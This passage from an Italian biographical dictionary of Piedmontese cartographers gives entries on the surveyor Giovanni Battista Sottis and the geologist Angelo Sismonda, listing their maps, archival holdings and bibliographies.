con l’utilizzo di acquerello verde nel solo frontespizio; insieme a tale documento sono conservate alcune mappe di autori diversi identificate come “Allegati al libro dei boschi” e di datazione posteriore ad esso, tra cui una a firma dello stesso Suave.
I lavori eseguiti per la famiglia Crova rappresentano probabilmente solo gli esordi della sua carriera: nel 1764 infatti entra in possesso di una Piazza per il Monferrato affittandola dagli eredi dell’agrimensore Gio Batta Costa ed in tale documento viene qualificato come misuratore (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 19, f. 18), ma sinora non sono state reperite altre attestazioni della sua attività.

Produzione di cartografia manoscritta:
- 1723 / Libro di misure dedicate all’ / Ill.mo Sig.re Barone / Crova, 2 dicembre 1723 (ASAT, Archivio Crova di Vaglio, m. 11, fasc. 1).
- 1730 / LIBRO FIGURAto / DI TUTTI / LI BOSC[H]I DELL’ / ILLSS.MO / SIGNORE BARONe / CROVA, 27 maggio 1730 (ASAT, Archivio Crova di Vaglio, m. 11, fasc. 2).
- [Tipo di due pezze di bosco appartenenti al barone Crova poste sulle fini di Nizza], s.d. (ASAT, Archivio Crova di Vaglio, m. 11, fasc. 2 bis).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Elena Marangoni

Sottis, Giovanni Battista

Giovanni Battista Sottis
N. Vinovo
M. 1770

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Misuratore e sovrastante, ingegnere topografo

Biografia:

Produzione scientifica:
L’attività documentata a partire dal 1743 dai mandati di pagamento dell’Azienda delle Fabbriche e Fortificazioni riguarda campagne cartografiche su: città e cittadella di Piacenza; Valli Po, Varaita, Maira, Grana e Stura (1743-50), città di Cuneo e dintorni (1744), Confini con la Repubblica di Genova/Riviera di Genova (1745-47); Litorale e Riviera di Ponente (1747), dintorni di Demonte, Valdieri (1747), carta dei boschi dell’Alto Novarese e Ossola superiore (1752-60); Val Sesia (1754); Carta particolare delle miniere di Macugnaga (1755); carta e descrizione dei boschi della Valle Anzasca (1755); Lago Maggiore e Valle Astrona (1757-58); Lago maggiore e riviera d’Orta (1759-60); riduzione delle carte delle Valli piemontesi nel 1761-62 (ci lavorano anche gli assistenti Avanzati e Chiapasco); pianta fortificazioni di Torino (1763); Pianta del distretto della Caccia (1766); riduzione delle carte delle province di Torino e Ivrea (1766); riduzioni della carta Topografica Generale (1767); le attestazioni successive riguardano genericamente lavoro a tavolino fino al gennaio 1770.

Produzione di cartografia manoscritta:
- CARTA TOPOGRAFICA E DESCRIZIONE DELLE SELVE DELLA VALLE DI VIGEZZO PARTE DELL'OSSOLA SUPERIORE NELL ALTO NOVARESE, 1755 (ASTO, Corte, Carte topografiche per A e B, Novarese 3)
- CARTA TOPOGRAFICA IN MISURA DELLA VALLE D'ANZASCA PARTE DELLA GIURISDIZIONE DELL'OSSOLA SUPERIORE E / PARTE INFERIORE NELL'ALTO NOVARESE COL DELINEAMENTO DELLE MINIERE ESISTENTI NEI TERRITORJ D'ESSA VALLE, 12 giugno 1758 (ASTO, Corte, Carte topografiche per A e B, Anzasca)
- Carta Topografica dell'Alpe di Cravairola, 9 settembre 1759 (ASTO, Corte, Materie Politiche per rapporto all'estero, Confini cogli Svizzeri, m. 3)
- CARTA TOPOGRAPHIC.A IN MISURA / DEL DUCATO D'AOSTA divisa in 4.° parti, con Avico, Denis, Durieu e Carello, s.d. (ASTO, Corte, Carte topografiche per A e B, Aosta 4) - Sul secondo foglio reca l’indicazione "Originale dai Sig.ri Avico Durieu Carelli, Denis e Sottis", che in assenza di sottoscrizioni autografe lascia il dubbio che possa trattarsi di una copia
- PLAN de la ville et environs / de luneville avec un proiet de son / augmentation marqué de josne, s.d. (ASTO, Carte topografiche segrete, Luneville 21 D II rosso)
- PLAN des villes citadelle et forts de / Strasbourg de ses environs et projets josne, s.d. (ASTO, Carte topografiche segrete, Strasbourg 30 D I rosso)
- PLAN des villes Citadelle, vieille fortiffications / et environs de Nency, s.d. (ASTO, Carte topografiche segrete, Nency 32 D II rosso)
- PLAN du vieux et neuf brisack / et de leurs environs, s.d. (ASTO, Carte topografiche segrete, Brisach 4 D II rosso)

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
C. BRAYDA-L. COLI-D. SESIA, Specializzazioni e vita professionale nel Sei e Settecento in Piemonte, in “Atti e rassegna tecnica della Società Ingegneri e Architetti in Torino”, Nuova serie, 17 (1963), n. 3, p. 136.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Sturani

Sismonda, Angelo

Angelo Sismonda
N. Corneliano d’Alba (Cn) 20 agosto 1807
M. Torino 30 dicembre 1878

Relazioni di parentela: Suo importante collaboratore fu il fratello Eugenio, nato nel 1816, medico e naturalista paleontologo, morto nel 1870.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Dal 1834 iniziò le sue escursioni sulle Alpi e progettò, su consiglio di Beaumont, la realizzazione della carta geologica del Piemonte. Il primo rilevamento, relativo alla Valle d’Aosta, venne pubblicato nel 1836. Seguirono quello dell’Ossola (1840), dell’area di La Spezia (1842), della Contea di Nizza (1848) e dell’area compresa tra il Monte Bianco e la Valle della Stura (1852). Ogni carta era corredata da ampie descrizioni della tipologia e cronologia delle formazioni geologiche rappresentate. Nel 1846 venne incaricato dal Re Carlo Alberto di provvedere alla stesura di una Carta Geologica di massima degli Stati Sardi in Terraferma. La prima edizione di questa, revisione e sintesi dei rilevamenti parziali pubblicati in precedenza, apparve nel 1862.
Già nel 1845 Sismonda venne incaricato ufficialmente dello studio geologico per il progetto di traforo alpino del Frejus, già presentato al Re fin dal 1841 da Giuseppe Médail, funzionario di dogana in alta Val Susa e appaltatore di lavori pubblici a Lione. Lo studio di previsione, pubblicato nel 1867, ebbe precisa conferma durante lo scavo del tunnel stesso, inaugurato nel 1871.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
1836 – [Carta geologica della Valle d’Aosta] scala 1:150.000 ca. in Osservazioni geognostiche e mineralogiche intorno ad alcune Valli delle Alpi del Piemonte. Mem. R. Acc. Scienze Torino, 39: 259-283.

1840 – [Carta geologica della Val d’Ossola e di parte della Valle Sesia dal Lago Maggiore a Biella] scala 1: 430.000 ca. in Osservazioni mineralogiche e geologiche per servire alla formazione della carta geologica del Piemonte. Mem. R. Acc. Scienze Torino, 2a, 1: 1-40.

1842 - Carta geologica dei contorni della Spezia. scala 1: 166.000 ca. in Osservazioni geologiche sulle Alpi Marittime e sugli Apennini Liguri. Mem. R. Acc. Scienze Torino, 2a, 4: 53-104.

1848 – [Carta geologica della zona tra Ivrea e il Lago d’Orta] e Carta geologica della Contea di Nizza. scala 1: 300.000 ca. in Notizie e schiarimenti sulla costituzione delle Alpi piemontesi. Mem. R. Acc. Scienze Torino, 2a, 9: 1-123.

1852 - Carta geologica di una parte delle Alpi compresa tra il Monte Bianco e la Valle della Stura. scala 1:750.000 ca. in Classificazione dei terreni stratificati delle Alpi tra il Monte Bianco e la Contea di Nizza. Mem. R. Acc. Scienze Torino, 2a, 12: 271-338.

1862 – Carta Geologica della Savoia, del Piemonte e della Liguria…pubblicata per cura del Governo di S.M. Vittorio Emanuele II Re d’Italia. Torino. scala 1: 500.000 ca.

1867 - Carta geologica e Spaccato tra Les Fourneaux (Moriana) e Bardonnèche (Dora Riparia). scala 1: 50.000, in Nuove Osservazioni geologiche sulle rocce antracitifere delle Alpi. Mem. R. Acc. Scienze Torino, 2a, 24: 1-26

Fonti d’archivio:

Bibliografia:
G. MOLINARI, Notizia biografica del senatore Angelo Sismonda, in “Gazzetta Piemontese Letteraria”, 33- giugno 1878, pp. 1-20.
E. RICOTTI, Angelo Sismonda, in “Atti R. Acc. Scienze Torino”, 14 (1879), pp. 327-338
C.S. ROERO (a cura di), La facoltà di Scienze Matematiche Fisiche e Naturali di Torino 1848-1999, t. II I docenti, Torino, Deputazione Subalpina di Storia Patria, 1999, pp. 401-404

N. PELLATI, Contribuzione alla storia della Cartografia Geologica in Italia, in Atti del Congresso Internazionale di Scienze Storiche (Roma, 1903), vol. X (Sezione Storia della Geografia, Geografia Storica), Roma, Tip. della R. Accademia dei Lincei, 1904, pp. 131-163

Rimandi ad altre schede: G. Provana di Collegno

Autore della scheda: Franca Campanino